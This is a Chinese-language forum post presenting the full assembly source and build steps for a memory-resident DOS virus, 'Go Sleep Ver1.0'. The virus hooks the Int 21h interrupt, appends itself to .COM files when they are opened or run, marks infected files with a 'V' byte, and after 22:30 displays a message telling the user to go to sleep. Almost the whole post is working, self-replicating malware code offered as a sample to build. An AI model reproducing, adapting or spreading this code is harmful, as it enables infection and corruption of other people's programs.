返回列表 发帖

编写感染COM文件的病毒的样例程序

; 在DOS下才有一定的传染能力
;此程序部分应用了32位寄存器
;制作方法如下
;tasm32 dv0;
;tlink dv0;
;Debug dv0.exe
;-n dv0.com
;-w
;-q
;最后生成dv0.com病毒程序(总共400字节)
OFF equ Offset
DosMcb struc ;Dos内存控制链结构(部分)
Flag db ? ;';M';:next ';Z';: last
Owner dw ? ;008: system 0000: No use
Sizes dw ? ;long/10h
DosMcb Ends
VirusSize=OFF @@End-OFF @@Start
.386
.model small
.code
org 100h ;按COM格式编写
@@Start: ;病毒引导块
pusha ;保存所有通用寄存器
mov ax,4d4dh
int 21h ;是否已经驻留内存
cmp ax,4d4dh
jnz short @@Install ;否,Install
mov ah,2ch
int 21h ;得到系统时间
cmp cx,22*100h+30 ;(Cmp 时间:22:30)
jb short @@ExecOldApp ;不到22:30不调用显示消息
call @@DisplayMsg ;调用表现块
@@ExecOldApp:
call @@GetOldAppCode
OldAppCode dw 20cdh,20cdh ;保存原COM文件头部4字节信息
@@GetOldAppCode:
pop si ;得到OldAppCode的地址
mov di,100h
cld
lodsd
stosd ;恢复原COM头部4字节
popa ;恢复所有通用寄存器
mov di,100h
push di
xor di,di
ret ;去执行原COM程序
@@Install:
mov ax,ds
dec ax ;得到自己的MCB结构段址,它在程序的PSP前
@@ContFindLastMcb:
mov es,ax
cmp es:[Flag],';Z'; ;是最后一块吗?
jz short @@FindLastMcb
add ax,es:[Sizes]
inc ax ;计算下一个MCB 的段址
jmp short @@ContFindLastMcb
@@FindLastMcb:
sub es:[Sizes],(VirusSize/10h)+1 ;把最后一块大小减去病毒大小(节数)+1节(1节=10h字节)
add ax,es:[Sizes]
inc ax ;计算出病毒在高端RAM的地址
mov es,ax
xor di,di
call @@GetVirusBase
@@GetVirusBase:
pop si
sub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址
mov cx,VirusSize
cld
rep movsb ;把病毒搬运到高端地址
mov ax,es
sub ax,10h ;计算出高端病毒的段地址(使病毒偏移对齐)
push ax
lea ax,@@ContInstall
push ax
retf ;跳到高端@@ContInstall继续执行
@@ContInstall:
push cs
pop ds ;复位数据段
mov ax,3521h
int 21h ;取Int 21h的中断向量,并保存
mov ds:OldInt21Seg,es
mov ds:OldInt21Off,bx
lea dx,@@NewInt21
mov ax,2521h
int 21h ;设新的Int 21h处理程序到@@NewInt21处
popa
push ss
pop es
push ss
pop ds ;恢复寄存器原值ss=ds=es=PSP
push ss
mov di,100h
push di
xor di,di
retf ;跳到原Cs:100h从新执行
@@NewInt21: ;新Int21 h服务程序(传染块)
cmp ax,4d4dh
jnz short @@NextHook
iret ;是自定义中断,直接返回
@@NextHook:
cmp ah,4bh
jz short @@MyBeCom
cmp ah,43h
jz short @@MyBeCom
cmp ah,3dh
jz short @@MyBeCom ;截获4b,43,3d号Dos功能
@@JmpOldInt21:
cli ; 进入Int21h前,需要关中断!
JmpFar db 0eah ;远跳转指令jmp xxxx:xxxx
OldInt21Off dw ?
OldInt21Seg dw ?
@@CallInt21: ; 模拟Int 21h指令
pushf
push cs
call @@JmpOldInt21
ret
@@MyBeCom: ;//ds:dx=File Name
pusha
push ds
mov si,dx
xor al,al
@@ContFindExtName: ;找扩展名
inc si
cmp [si],al
jnz short @@ContFindExtName
mov eax,[si-4]
or eax,20202020h ;转化为小写字母
cmp eax,';moc.'; ;是.com文件吗?
jz short @@IsComFile
@@ExitOpt:
pop ds
popa
jmp short @@JmpOldInt21
@@IsComfile:
mov ax,3d02h
call @@CallInt21 ;3dh,打开COM文件
jc short @@OptComFalse ;失败
mov bx,ax
push cs
pop ds ;复位数据段
lea dx,OldAppCode
mov cx,4
mov ah,3fh
int 21h ;读文件首部4字节
jc short @@CloseComFile
mov si,dx
cmp word ptr[si],';ZM'; ;是否是EXE文件?
jz short @@CloseComFile ;是就不感染
cmp byte ptr[si+3],';V';;是否有已感染病毒标志
jz short @@CloseComFile ;是则说明该程序已经被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;将文件指针移到文件尾,返回dx:ax=文件长度
or dx,dx
jnz short @@CloseComFile ;文件太大不感染
mov dx,ax
add ax,VirusSize
jc short @@CloseComFile ;文件太大不感染
cmp ax,0fd00h
ja short @@CloseComFile ;文件太大不感染
sub dx,03 ;计算出Jmp Virus的偏移量
mov ds:JmpOffset,dx
lea dx,@@Start
mov cx,VirusSize
mov ah,40h
int 21h ;将病毒写到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指针移到文件首
mov cx,04h
lea dx,@@JmpVirus
mov ah,40h
int 21h ;写Jmp Virus与病毒Flag 4字节到文件首部
@@CloseComfile:
mov ah,3eh
int 21h ;关闭文件
@@OptComFalse:
jmp short @@ExitOpt
@@JmpVirus:
JumpNear db 0e9h ;近转移指令Jmp near xxxx
JmpOffset dw ?
VirusFlag db ';V'; ;病毒标志为';V';字符
@@DisplayMsg:
pop dx
push dx
add dx,OFF @@Message-OFF @@ExecOldApp ;计算@@Message的偏移量
mov ah,09h
int 21h ;显示信息,“夜已深,你该睡觉了!”
ret
@@Message:
db 0ah,0dh,07h
db ';Night is deep,you must go sleep!$';
db ';Go Sleep Ver1.0 by Whg 2001.4.29';
@@End:
end @@Start

编写感染COM文件的病毒的样例程序

太长了,阅~~

TOP

返回列表 回复 发帖